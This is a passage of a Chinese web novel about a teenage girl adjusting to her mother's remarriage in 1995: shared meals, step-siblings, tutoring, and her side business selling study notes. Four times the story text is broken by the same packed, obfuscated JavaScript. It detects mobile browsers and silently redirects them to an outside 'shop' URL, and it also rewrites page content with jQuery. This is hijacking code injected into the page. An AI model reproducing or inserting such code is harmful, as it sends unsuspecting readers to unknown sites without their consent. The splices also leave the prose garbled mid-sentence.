徐清澜点头,没多想。 一大家子有吃有喝,之后又排队洗澡。 等躺到床上时,已经是接近凌晨十二点。 陆淼今天搬家又写作业,还连着预习了后面两课内容,早就累得不行。 她也不认床,关了门往下铺床上一趟,闷头就睡。 半夜里,陆淼隐隐约约听到有抽泣声。 但她以为在做梦,嘟囔两句,翻个身就继续睡了。 第二天,早上六点。 陆淼被一阵剁砧板的声音吵醒。 窗帘拉得严实,原本就小的房间里逼仄昏暗,但从窗缝隙透进来的一点光亮可以知道,天已经亮了。 陆淼换了校服,穿着拖鞋走出去。 次卧门开着,阳台上,她妈正在洗衣服。 而厨房里,徐建国正在包馄饨。 “爸,你大早上起来剁肉馅啊?”陆淼倚在门口打招呼。 徐建国转身,有点无措,“淼淼,吵到你了?” 他之前也经常早起,剁肉馅包饺子包馄饨,又或者扯面条做葱油面。 他自己就是厨师,但凡家里能做的,都不会出去买。 先前儿子女儿都没说,徐建国就习惯了,今天倒是忘了,如今家里还有另外两个孩子。 对陆淼和陆远的性子,徐建国吃不准,说话做事总带点讨好的意思。 陆淼忽略对方的表情,眼睛直愣愣盯着包好的一排馄饨。 “爸,你包的馄饨真好看,和外面店里卖的一模一样。” “不,比外面卖的还要好看。还有这个馅,肉泥都上浆了。” “爸,你是这个。” 陆淼竖着大拇指,一顿三连夸。 徐建国没想到是这么个发展,心里顿时高兴,“喜欢吃馄饨?” “喜欢,我什么都爱吃。我妈说爸你的手艺特别好,不管是炒菜还是面食,都是食堂里一流的。我算是有福了,以后每天都能吃到大厨做的早饭。” “这大早上的,会不会搅到你睡觉?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486767|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不会,我睡得死,一般醒过来就是睡得差不多,自然睁眼的。” 徐建国放心了,笑呵呵点头,“那就好,我这就下馄饨,他们还没起,我先给你煮一碗。” “谢谢爸,我去洗脸刷牙了。” 陆淼吃过城中村街边早餐店的馄饨,味道挺鲜美。但是一碗馄饨就十个,小小的根本吃不饱,还贵。 可是今天,徐建国往她碗里盛了二十多个馄饨,而且个头都很大。 最重要的是,好吃! 陆淼吃得美滋滋,对于亲妈再婚的对象,又满意了几分。 新爸好啊,没脾气老实人,关键是厨艺好。 “爸,你平时都在家自己做早饭?我哥他们都吃什么?”陆淼抽空问道。 徐建国还在继续包,闻声笑说:“什么都做,包子馄饨,煎饺煮饺,也做葱油面,偶尔做些发面饼子,里面裹上一点梅干菜肉馅。 “要不是豆浆油条做起来麻烦,又费时间,我哪个都不去外面买的。” 自家的小厨房,做油条太浪费油,打豆浆也没个工具,徐建国这才放弃。 陆淼听完心里一通盘算,心想好家伙,这么多好吃的,连着半个月早饭都能不重复了。 在此之前,她在家的早饭,要么是咸菜稀饭,要么是菜泡饭。 顶多就是在稀饭里切点年糕,这样能吃得饱一点。 孟娇娇晾好衣服走到客厅,见女儿和丈夫相处融洽,不禁会心一笑。 “小远和晶晶呢,还没起?”孟娇娇问。 “我去叫,妈你快来吃早饭,我爸做的可好吃了。” 陆淼说完起身,走去房间喊人。 男生边的小房间靠外面,没有装独立门,用的是原先主卧那扇门。 是以陆淼推开门,一眼就就看到上下床。 “陆远起床了,赶紧吃早饭,吃完去学校了。” 陆淼一边拉扯毯子一边低头,准备喊“哥”时,却是扑了个空。 下铺徐清澜的位置,床是空的。 “姐,你起了?” 陆远还在瞌睡,迷迷糊糊的。 陆淼:“咱哥呢?我六点起的,没在客厅看到人,他去哪儿了?” 陆远摇头。 陆淼:“算了,你赶紧起来,校服在床尾。” 喊完弟弟喊妹妹,陆淼又进去里间叫杨晶晶。 比起陆远的迷糊样,杨晶晶起床倒是迅速。 陆淼不禁点头,就喜欢利索的,睡得快,起得也快。 “清澜,你回来了?吃早饭了。” 外面传来孟娇娇的声音。 很快,徐清澜的声音响起,“妈你先吃,我洗个澡。” 陆淼走出房间,和进来的徐清澜正好迎面撞上。 徐清澜愣了下,没反应过来,似乎有点懵。 但很快就适应了,点头打招呼,“你起了?挺早的。” “你不是更早,看不出来啊,你竟然早起跑步。” 陆淼打量眼前男生,穿着有点发白的运动服,也不知道跑了多久,竟然满身都是汗,尤其领口一块全湿透了。 还有额前的刘海,湿哒哒黏在一起,狼狈的模样完全没有之前学霸的高冷气质。 “晨跑有助于提高新陈代谢,白天学习会更有精神。” 徐清澜没多说,从衣柜里拿了校服,转身去厕所洗澡。 8. 第8章 早上六点半,两人都吃完早饭,一起出门去学校。 早秋的中午很热,热得只能穿一件短袖,但早晚却是清凉。 陆淼迈步在梧桐树的人行道上,看着陌生人骑自行车急匆匆驶去,听着早餐店门口老板算账的吆喝声,感觉时间都慢了下来。 陆淼:“我第一次走路去上学,原来走着去学校的感觉是这样的。” 徐清澜也是第一次和别人一起去上学,尤其还是个女生。 他不知道聊什么话题,干脆顺着对方话说道:“你以前都是坐公交?” “对啊,我原来住的地方到六中快四公里了,走路过去不得累死。大课间本来就有跑步,我可不想多做运动。” 徐清澜想起自己每天早起跑步的习惯,顿时不知道怎么接话。 陆淼也没一定要回应,自顾欣赏街道两旁的风景,一直走到校门口时,才转过头去。 “下午放学要一起回吗?” 徐清澜:“不用,初三放学时间不固定,有时候会拖堂。” 陆淼本也没打算和徐清澜一起,听到这回答反而心里高兴。 挺好的,也不用自己找理由了。 于是点点头,挥手道别。 上午大课间跑步,两人又遇上了。 陆淼没注意,还是徐清澜喊的她。 “刚跑完步不要喝冰的,刺激肠胃,容易拉肚子。”徐清澜看到陆淼买的冰饮料,忍不住说道。 陆淼低头看自己的冰红茶,再看对方手中拿着的水杯。 鬼使神差的,她伸手摸了下杯子。 豁!居然是温水。 “你喝温的?我们学校有温开水?”陆淼惊讶。 徐清澜:“我早上出门前装了半杯凉白开,跑完步去水房灌的热水。” “你跑步还在兜里塞一个水杯?”陆淼更惊讶。 徐清澜却是习以为常,“跑步带水不是正常操作?” 陆淼看着对方把水杯塞进校服口袋里,整个杯子几乎被覆盖看不出来,不禁感叹这时候的衣服袋子是真能装。 “我走了,你的饮料放温了再喝,回教室先喝凉白开吧。” 陆淼“嗯”了声,抬起右手挥了挥。 她穿着秋季校服外套,整个手缩在袖子里,挥手时袖子荡呀荡,像一只招财猫。 配着人畜无害的灿烂笑容,更是可爱极了。 徐清澜和同学一起回教室,身边不知情况的男生立即打趣询问。 陆淼隐约听到“妹妹”这样的字眼,再多的话就听不清楚了。 等人转进教学楼看不见,她立即拧开冰红茶,大口大口喝下。 至于跑步完不能喝冰的? 才不管。 下午,最后一节课铃声响起。 陆淼收拾书包回家,果然在校门口见到陆远。 这小子孤零零站在门卫室的侧边,怯生生的望着从校门里走出来的初中生。 如果看到人流是朝自己方向涌来的,就会再往边上退一退,尽量不挡路。 陆淼背着书包走过去,冷不丁在其背后一拍。 陆远吓了一跳,转过身看到熟悉的人,又立即放松了。 脸上也有了笑容,“姐,你放学了。” “我说你放学可以来,你还真过来?” “什么?” “从你学校走到我学校,都够你回家两趟了,你也不嫌累。” 陆远没说话。 陆淼又问:“杨晶晶呢,她不是和你一个年级的,早上我出门的时候,妈说让你们放学一起回家。你没去找她?” 陆远跟着姐姐往外走,边走边说:“找了,没找到。” “哦,那可能她自己先回去了。” 陆淼不以为意,她其实挺理解小孩的感受的。 就像她前世在孤儿院,没亲没故的,对身边仅有的人和物都格外看重。 他们仨的到来,就像是突然闯入的外来者,对杨晶晶原本的平静生活造成巨大冲击。 但是—— 谁在乎呢。 反正她不在乎。 陆淼带着陆远一起往回走,路过街边小摊时,停下来买了两串炸年糕。 一串涂了甜辣酱,给陆远。 一串撒了辣椒面,给自己。 陆远已经很久没吃过这种炸串,咬下的第一口,眼里满是惊喜。 “好吃吧?就是有点贵,这么半根炸年糕就要五毛钱,要是自己做,起码能吃一整根,可惜在家做费油。” 陆淼说着,三两口全部吃完。 扔掉签子时,忽然想起一茬,“对了,他们给你配钥匙没?” 陆远满口食物,抬头看向姐姐,一脸清澈无辜,“还没有。” “我带你去配,以后放学你就自己回家去,别来我学校门口等。” “为什么呀?” 陆远不想回家,没有姐姐的房子,不是他的家。 而且,陆远总是若有似无的感觉到,杨晶晶好像不喜欢他。 但这话他没说,因为他姐已经拉着他强势去配钥匙了。 …… 姐弟俩慢悠悠晃荡回家,一开门,没在客厅里看到人。 陆淼把书包往桌上一放,对陆远说道:“我插个饭,你赶紧写作业。” 回房间拿东西时,陆淼看见上铺躺着的小孩。 杨晶晶已经回家了。 这很好,人安全到家就行。 至于对方为什么不写作业,又为什么一放学就躺床上,陆淼没兴趣。 电饭煲工作的时间里,陆淼自顾写作业,偶尔抬头关注下陆远。 如果对方拿着橡皮玩或者发呆,就瞪一眼,让其赶紧写。 临近六点,徐清澜回家了。 一同带回来的还有今晚的菜。 “晶晶回来了吗?”徐清澜没在客厅看到妹妹,不禁问道。 陆淼:“在房间里,你怎么回来还买菜?” 徐清澜放心了,拎着菜去厨房。 看到电饭煲已经插上,有点惊讶,但又很自然的开始洗菜切菜。 顺便回了句,“我爸之前回来晚,等他回家再做饭,我们吃饭都得七点了。所以我问他要了买菜大权。” 陆淼停下写作业,扭头看向厨房,望着忙碌的少年背影,有点发呆。 儿时记忆里的男性角色,都是一副大老爷们架势。 无论是爷爷还是大伯,又或是最不堪的爸爸,无一例外,没一个会进厨房。 “油瓶倒了也不会扶一下。” 这句话,陆淼在三岁到五岁之间,听到最多。 那是她大伯母每次做饭烦躁时念叨的,一边嘴里骂骂咧咧,一边又老老实实三餐不落做好饭菜。 陆淼经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486768|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常很疑惑,大伯母骂大伯骂的这么凶,为什么不和对方离婚? 尤其是她妈要离婚的时候,不仅不帮忙,还一直在旁边冷言冷语嘲讽。 “陆淼,陆淼?” 徐清澜的喊声“惊醒”陆淼,她回过神一脸微笑,“哥,有事?” “我就想问你,吃得了辣吗?辣椒炒肉,辣椒籽去不去?” “我无所谓,不过我妈和陆远吃不了辣的。” 徐清澜点头,“那行,我换青椒炒。” 话说完,就把洗好的螺丝椒搁置一旁,从袋子里翻出两个大圆椒。 晚饭出炉,四菜一汤,陆淼只看到单独清炒的螺丝椒是辣的,其他菜都是清淡口味。 孟娇娇吃了不住点头,“没想到清澜你手艺这么好,不比你爸差呢。” 徐清澜腼腆一笑,“妈你过奖了,我就会做些家常菜,我爸可是正经大厨。” “那也厉害的,和淼淼一样,她也从小就会疼人,我每次夜班回来,她都等着我,给我煮东西吃。” 说着,孟娇娇夹起一块肉,放到杨晶晶碗里。 然后又夹起一筷子,放到陆远碗里。 陆淼不禁笑了,碗往前一递,“爸,我也要吃肉。” 徐建国先是一愣,但很快就给陆淼夹了一大筷子,心情别提多高兴。 陆淼只想多吃肉,目的达到,立即回馈情绪价值,“谢谢爸,爸你真好。” 陆远在旁边看着姐姐一顿操作,内心纠结来纠结去。 还没考虑好,就听到旁边一声很轻却又很清晰的声音,“谢谢妈。” 是杨晶晶,对方先他一步说出来了。 陆淼听到这一声,也是蛮惊讶。 她以为杨晶晶这么内向的性格,至少开始这两个月,是不会喊妈的。 没想到啊没想到,她亲弟还没喊,毫无血缘关系的继妹倒是先喊了。 陆淼咬着筷子看热闹。 陆远浑身不自在,屁股几乎坐不住凳子,尤其被他姐这么打趣瞧着,更是脸颊滚烫发热。 “吃菜吃菜,赶紧吃,一会儿凉了。”孟娇娇瞧出来情况,立即打圆场岔开。 饭后,各自忙碌。 陆淼坐在沙发上看书,不知什么时候,陆远蹑手蹑脚走近。 “干嘛?” “姐,我……我还没喊。” “嗯。” 陆淼放下书本,抬起下巴一指,“喏,我妈在厨房,你去呗。” “那,那边怎么办?” 陆远对孟娇娇改口叫妈一点不排斥,甚至有点欣喜,姐姐的亲妈比他亲妈对自己还要好。 他喜欢这样的妈妈。 可是这个新爸,他不认识呀。 陆淼“噗嗤”一声笑,“杨晶晶可是先你一步喊我妈了,我要是你,肯定不甘落后。反正早晚都得喊,不如今天一次性叫全了。不就是个称呼么,多喊几声也不掉块肉,给谁当儿子不是当呢。” 陆远心里紧张,看了会儿厨房,又看了会儿次卧。 正巧这时候,徐清澜从外面回来,手上拿着刚打的酱油。 陆淼忽然就笑了,扯了把弟弟的衣服,“喏,来了个低配版,你喊哥去,先练练嗓子。” “啊?” “啊什么啊,哥,哥哥,哥哥哥,这不是挺好叫出口的么。徐清澜又不是老虎,你怕他干嘛。” 9. 第9章 姐弟俩说话声音很轻,其他人都没听见。 徐清澜忙完家务事,拉开书包拿了卷子,埋头开写。 他的目标是市一中,六中作为淮宁市倒数的初中学校,他即便每次考试都在年级前几名,却依旧不能稳定保险可以考上。 所以,初三这一年他还得继续努力,以提高自己的分数。 正写着时,袖子忽然被人扯了下。 力道很轻,徐清澜差点没有察觉。 但身旁站着的人落下一片阴影,却容不得他忽视。 徐清澜抬头,无声询问。 陆远下意识看向对面。 陆淼接收到“求救”信号,扭头装看不见,却又忍不住小心偷瞄,想看热闹。 “怎么了,有事你直说。” 徐清澜对陆远这个继弟,不知道怎么相处。 陆远看着年纪小,但和陆淼相比,实在太闷了。 但这种闷和杨晶晶又不一样。 杨晶晶是对谁都闷,都不爱说话。 可陆远却是只对他们父子俩闷,对着陆淼那是叽叽咕咕说不完的悄悄话。 就刚刚,姐弟俩还窝在沙发上,不知道说些什么事情。 偏他经过时,两人跟防贼似的,又一句话都不说了。 “我、我有事,对,我有事的。” 陆远鼓足勇气,把作业本递过去,“我这题不会做,哥、哥……哥哥!你能给我讲一下吗?” “噗——” 对面一阵笑声。 徐清澜和陆远同时抬头看过去。 陆淼趴在桌上,笑得有点停不下来,“咯咯咯,咯咯咯哒,陆远你属鸡的?笑死我了。” 陆远顿时涨红脸,纠正说:“姐,我属龙。” “哦,你属龙,轰隆隆的隆。” 陆远不说话了,捏着作业本站在那儿。 陆淼笑完停下,自顾写作业。 徐清澜倒是尴尬了,一时不知道该说什么。 作为姐姐,这样说弟弟好吗? 陆远明显无措的样子,陆淼都不安慰的吗? 算了,都来问自己问题了,那就他来打破尴尬的局面吧。 于是拿过作业本,“这题是不是?我看看,一辆公交车原来有58人,中间上来12人,又下去18人,问还有多少人……” 徐清澜拿了铅笔,在草稿纸上涂涂画画,同时说道: “你做不出来,应该是被这句话绕进去了,其实做数学应该数形结合,把它的每一段话都变成数学符号。 “你看,我们先画一辆公交车,往里面排58个小圆,代表着58个人,中间上来12人……” 陆远确实连题目都没读懂,但是在徐清澜的图形结合中,他忽然就看明白了。 原来是这样。 数学可以这么简单的吗? “哥,你好厉害。” “哥,那这题怎么做,就是思考题,摆小火柴的这道题。” “哥……” 陆淼听得一声声“哥”,一开始觉得挺美妙,毕竟陆远这小子也算迈出融入大家庭的第一步了。 他多积极一点,她妈就能少操心点。 她这个“承上启下”的女儿(姐姐),也就日子舒坦了。 然而听到太多声,这“哥哥哥”的就有点烦躁。 尤其配着陆远一惊一乍的崇拜表情。 “我说——” 陆淼抬头,刚要开口说话,眼前忽然塞过来一本练习册。 扭头看,是杨晶晶。 陆淼:“?” 杨晶晶看了眼陆远,狠狠心,咬牙说道:“姐,我也不会。” “哪里不会?”陆淼问。 杨晶晶拿手一指,陆淼顿时就笑了。 这小孩真有意思,问的问题居然和陆远一模一样。 这是真不会? 但人家都来问了,那就给讲讲吧。 陆淼依样画葫芦,按照徐清澜刚才所说进行拆解,但画着画着,却是停了下来。 “这什么公交车?这么能坐人。” 杨晶晶一脸懵。 陆淼又说:“这车上本来就有58个人了,就我们小区门口常坐的136好了,车上一共就28个座位,58个人的话,有20个人得站着,整辆车都快挤满了。就这,还得继续上12人。” 陆淼想象公交车里的拥挤状况,忍不住摇头,“挤得下吗?又不是沙丁鱼,这题目不合理。” 杨晶晶惊呆住。 怎么好好的,就变成题目有问题了? 可是老师没说过题目有错误的啊? 陆淼:“教材也是人编的,是人都会犯错,这不是很正常。” 陆淼想起前世的孤儿院小伙伴,对方身体健康可以去上学,回来和她说学校里的事情。 小伙伴非常有探索精神,总会对作业本上的题目提出质疑,并且有理有据。 陆淼在旁边听得多了,也习惯性对很多事情持有怀疑态度。 题目没讲成,陆淼转手开始分析作业本上各类题型,尤其是思考题。 陆淼:“这不脑筋急转弯嘛,这种题目有很多答案的,没有固定标准,我觉得——” “陆淼。” 徐清澜忽然出声。 陆淼抬头看对面,眨眨眼,一脸无辜。 徐清澜看了眼妹妹,说道:“你就正常讲,不要发散思维。” 顿了顿,又说:“小学生按照学到的内容做出来就行了,这又不是奥数题。” “哥,你是不是一直都是年级前几,却从来没有考过年级第一?”陆淼忽然问。 徐清澜愣住,“你怎么知道?” 因为你的思维逻辑就是按部就班啊! 陆淼笑笑,“我猜的。” 然后没再回应徐清澜,转头给杨晶晶正常讲题。 第二天吃早饭,陆淼明显感觉到杨晶晶对自己亲昵了些。 前两天还非要挨着她爸坐的,但今天却愿意挨着她一起吃饭了。 就是依旧小心翼翼的,缩着身体,两条手臂一半悬空,没摆在桌面上。 陆淼不着痕迹学着这么做,感觉吃饭真别扭。 但她没提醒杨晶晶。 …… 今天是国庆放假前的最后一天上课,下午第四节课后半段,教室里已经人心浮躁。 陆淼也差不多,但她不急着回家,而是想去报刊亭买杂志。 “陆淼,国庆回来要月考了,笔记借一下呗?”后座的男生忽然拿笔戳了戳。 陆淼回头瞪了眼,“你再拿笔戳试试?” “哎呀我错了,姐,你行行好,帮帮小弟我,感激不尽。” “笔记我还没整理好,国庆回来再说。” “老规矩?一科三块钱,一对一笔记讲解五块?” “我什么时候涨价过?大家都是同学,友情价啦。” “嘿嘿,那好,要是初三淼姐还这个价,你就是我亲姐。” 有一就有二,一个人问完,陆陆续续又有四五个问陆淼。 坐的远的干脆传纸条,言辞恳切请求五块钱的“交易”。 陆淼基本上都答应,把有需求的同学名字记在笔记本上。 这是她作为好学生的“生财之道”,大家你情我愿的买卖,她赚点零花钱,别的同学提高点分数,算是合作共赢。 只是这事情一直低调进行,谁也没敢让老师知道。 晚上学习时间,徐清澜忙着写试卷,陆淼却是悠哉悠哉开始做笔记归纳。 她自有一套学习方法,是专门针对基础薄弱的学生,做的笔记简单明了。只要有心想学的,基本上能拿到卷面分的60%。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486769|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于成绩中上水平想要更近一步的,她的日常笔记就够了。 但可惜,班级里这部分同学就没几个问她买笔记的。 “唉。” 想到客源无法拓展,小金库不能再多一笔,陆淼不由叹气。 “怎么了,遇到不会的了?”徐清澜正好停下休息,关心问了句。 陆淼一脸淡定,“我遇到的困难,你不懂。” 徐清澜确实听不懂,但他看懂了。 对面桌上,摊着好几本教辅书,而陆淼也并非在写作业,而是在做笔记。 两人成为家人后,徐清澜想要多了解这个妹妹,于是特意打听过。 这才知道,初二(3)班的陆淼,从进入六中后,一直都是年级第一。 并且远超年级第二。 徐清澜有些好奇,“你的笔记能给我看看吗?” 陆淼翻了下,从底下抽出一个本子递过去。 “这是你的笔记?那你现在写的是?” “你说这个?”陆淼直接就说:“给学渣,哦不是,给成绩差的同学做的学习笔记。” 徐清澜:“?” 陆淼:“他们为了考出一个好成绩,很努力的,我就帮一点小忙。” 徐清澜惊呆住,“你年级第一,竟然还有空帮别人学习进步,还给他们做专门的笔记?” 陆淼:“同学之间的情谊嘛。” 徐清澜不禁触动,他没想到陆淼如此善良。 两人的小插曲也就一会会儿,短暂休息后,又各自忙碌。 与此同时,次卧里的徐建国和孟娇娇,正在商量事情。 两人领证结婚后,也就身边熟悉的几个人知道,其他人并不清楚他们的关系。 可大家都是一个厂里上班的,这事情总会传开。 孟娇娇:“咱俩都领证了,按说要分喜糖,今天姚兰还问我讨喜糖吃呢。” 徐建国:“是这个理,那分多少?” “我们二车间的人肯定都要分,一车间那边,我就分一些关系好的,另外车间主任、会计、出纳……” 孟娇娇慢慢算着,忽然抬头问了句,“厂长那儿,要送吗?” “不要吧?要吗?咱们就厂里普通职工,人厂长也不认识。” 孟娇娇想想也是,又问起徐建国食堂里的人数。 两人一通合计,大概确定要买的喜糖数量。 最后,徐建国才感慨说道:“领证匆忙了,委屈你,等过年回村里,我们好好办场喜酒。” 孟娇娇却是摇头,“什么委屈不委屈的,你给我一个家,让我们娘俩有个安稳地方住,小远的收养手续也能顺利办下来,不委屈,我还得感激你。” “一家人,不说两家话。” 徐建国心里热乎,扭头看到一米二的床,不禁想起这几日睡觉的难受。 两个大人挤在这么一张小床上,半夜想要翻个身都困难。 就昨晚,他梦里一个腾空,人就掉下床去了。 得亏声音不大,没有惊醒隔壁几个孩子。 “这床太小了,趁这两天休息,我去店里买几块木板,再拼出个50公分。” 孟娇娇点头说好,想到什么,又提醒说:“给清澜他们屋弄个小门吧。” “他们房间不是有门吗?”徐建国不明白。 孟娇娇:“原来的门算共用的,一打开就直通客厅,清澜和淼淼学习晚,那门一直开着,影响孩子睡觉。再说半夜淼淼她们要是起床上厕所,又得从他们那经过。” 这事情孟娇娇并没有注意到,还是女儿提醒的。 只是女儿说的话就直接了,原话是:“给我哥他们那间安个门吧,不然大夏天的,人家还得全身捂着睡。” 孟娇娇不禁惭愧,这事情该他们做家长的注意到。 却不想,反倒是女儿先提醒他们了。 10. 第10章 国庆节,十月一日。 徐清澜和同学有约,一起去新华书店。 等回家时,自己和陆远的小房间,已然装上一扇门。 虽然只是木板钉起来的简易门,但整体私密性却大大提升。 徐建国:“我买了几块木板,我和你妈那张床太小,给拓宽了。你妈说你们的房间没有门,晚上学习屋子里太亮,淼淼她们进出也不方便。” 屋子灯光照进来太亮倒无所谓,但两个妹妹进进出出,确实不方便。 尤其徐清澜心智比同龄人成熟,更懂男女避讳。 这几天后半夜闷热,但他还是穿着长裤睡,实在没有换的裤子了,就干脆用毯子把自己全身盖住。 “谢谢爸,妈想得周到。” 徐清澜忍不住说道,对孟娇娇的好感增加不少。 “对了爸,陆淼他们呢?”徐清澜没在家里看到人。 徐建国正在收拾工具,头也没抬,“你妈带着晶晶出去逛街了,淼淼姐弟俩去他们爷爷奶奶那儿了,中午不回来吃饭。” 说到这,徐建国忍不住又说:“淼淼读书真是用功啊,去乡下还不忘带上书包,说是要做笔记,咋这么好学呢,难怪总是考第一名。” 徐清澜本想休息会儿,听到亲爸这话,默默拿出卷子开写。 一同写作业的还有陆远。 陆远完全没想到,都十一放假了,都到爷爷奶奶家来了,他姐竟然还要自己写作业。 写作业就算了,还非得今天全部都写完。 “姐,我累。”陆远握着铅笔,有点想偷懒。 陆淼忙着做笔记,听到这话抬头,指了指院子外。 陆远转头看出去,又一脸懵逼看回来。 陆淼:“你傻呀,在爷爷奶奶面前不好好表现,你好好学习天天向上,他们就高兴。看你学习辛苦,不得给你一些安慰?” “安慰?” “陆浩然就爱表现,不过那都是装的。可就算装的,爷爷他们也高兴,总塞零花钱。” 虽说惦记老人的钱不厚道,但别人有她没有,那就不行。 做大家长的嘛,总得一碗水端平。 陆淼:“咱爸还有一千块钱在奶奶手里呢,你随便讨零花,本来就是你的。” “姐,你不要吗?”陆远不禁问。 陆淼就差翻白眼,她倒是想,可关键奶奶不给啊! 话说得好听,孙子孙女都是小儿子的种,但孙子就是比孙女金贵。 陆淼懒得和老人家掰扯什么男女平等的思想。 有句话说得好,改变自己的是神,改变他人的是神经病。 “好好写,等会儿吃饭的时候,我说什么就是什么。”陆淼叮嘱。 陆远不知道姐姐要干嘛,但点头照做就对了。 写作业累,尤其写数学作业,更累。 陆远只是二年级,但已经感觉到数学难学,可再难还得老老实实地做。 这落在两个老人眼里,就别提多心疼了。 “小远,写这么久了,玩会儿去吧。”李根花端着水果走过去。 陆淼抓起一块苹果就吃,边吃边说:“奶奶,不能玩,他学习落下好多呢。杨晶晶和她一个年级,成绩就比他好。” “杨晶晶?” “就我后爸的女儿,学习成绩可好了,陆远要是学习差,在家里肯定吃亏。家长都喜欢成绩好的小孩,我后爸他儿子和堂哥一个学校,也是初三的,每次考试都是年级前几名。” 杨晶晶的成绩好不好李根花不知道,也不懂。 但说到大孙子的成绩,那她可太懂了。 大孙子陆浩然学习一般,每次为了提高分数,总得托人找老师另外补课。 补课费的钱,大儿子两口子总说不够,问他们两个老的讨一些补贴。 李根花:“你那后爸的儿子学习这么好?那让他给小远补课不就好了。” 陆淼:“奶奶你想得倒挺美,人家不是有亲妹么,干嘛给陆远补?” 陆淼只字不提自己的学习成绩。 李根花也不了解,但学习好,孙子就能考上大学,这点她是知道的。 从大孙子那里晓得成绩差可以找老师补课,于是就想给小孙子塞点钱。 陆大海却提出,把钱给孙女。 “淼淼用不上。”李根花摇头。 陆大海:“你懂什么,补课的事情还得拜托娇娇,到底是前儿媳,咱俩也不好多插嘴。把钱给淼淼,让她去跟她妈开个口,娇娇心软,见不得孩子受委屈。” 陆大海已然联想到,小孙子因为学习差,在新家不受待见。 钱不多,也就一百块。 李根花:“淼淼啊,我和你爷爷就种点地,没什么钱,这一百你拿去给你妈,算是我们一点补贴,小远的功课可不能落下,还得你妈多上点心。” 陆淼收下一百块钱,心里默默算着,渣爹的剩余存款还有九百。 嗯,还要继续努力。 “奶奶,你放心,我肯定和我妈说,咱老陆家的孙子,怎么能学习差呢。我肯定让他好好学,赶超杨晶晶。” “真是乖孙女。” 李根花满意了,临走前还不忘递出去一篮鸡蛋,“带回去吃。” 陆淼照样接过去。 陆远等啊等,等啊等,一直到国庆放假的最后一天,也没等到姐姐跟她妈说补课的事情。 他终于忍不住,偷偷询问。 “姐,补课的事情不告诉妈吗?”这两天喊顺了,陆远已经张口就是妈。 陆淼转头,上下打量说道:“二年级小学生补什么课,你不需要。” “啊?” “你非要补课也行,我给你补呗。” 钱进了自己口袋,那是绝不可能再流出去的。 陆淼没打算告诉她妈,同时也交代陆远,“这事你知我知,不许告诉其他人。” “那下回奶奶问起来怎么办?” “那就说在补呗,行吧,这事就这么定了,以后每天放学回家,我抽半小时帮你提高成绩,尤其是数学。” 陆远原本只是惶恐,这么大的事情居然要瞒着家长。 但听到姐姐要给自己补数学,尤其做完老师布置的家庭作业,还要再额外做一份,只觉天都塌了。 先前的那点担心,再也没心思去想。 …… 国庆后回校,月考如期而至。 陆淼依旧是年级第一。 “语文110,数学120,英语90,物理95……” 同桌张佳美一边说一边算,惊叹不已,“陆淼,你六门课总分600,这还没算上体育分。” 后座男生同样惊叹:“淼姐牛啊,去年市一中录取分数好像就是620,加上体育分30,这就直接能进一中了。” 九五年的淮宁市,中考实行的是6+1模式,文化课语文(120)、数学(120)、英语(100) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486770|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以及政治(100)、物理(100)、化学(100),总分一共640。 另外体育分30。 初二只需在体育课时练习中考要考的项目,测试的体育分并不算在总分当中。 但陆淼不仅文化分厉害,体育也同样很强,初二已经达到中考体育满分成绩了。 甚至还超出满分线一点。 陆淼心里高兴,她一直记得六中的传统,考上一中的学生有奖励,奖金2000元。 这笔钱,她已经视作囊中物。 “低调低调,这只是初二的成绩,初三还可能变动的。” 话虽这么说,但陆淼没想过把年级第一的位置让出去。 “对了淼姐,这一次月考我数学及格了,考了78分,我好像能看懂你的笔记了。”坐后排的男生徐泽说道。 陆淼顿时惊喜,扭头就问:“显著提高了嘛,徐泽同学,咱们是不是该再进一步,我给你做升级版的学习笔记。” 徐泽:“那价格方面?” 陆淼:“一门可不打折,两门九折,三门八折,四门及以上我算你七折。” “我全要,淼姐靠你了。” “小意思,我们的目标是,考上普高。” 两人相视一笑,各自都很满意。 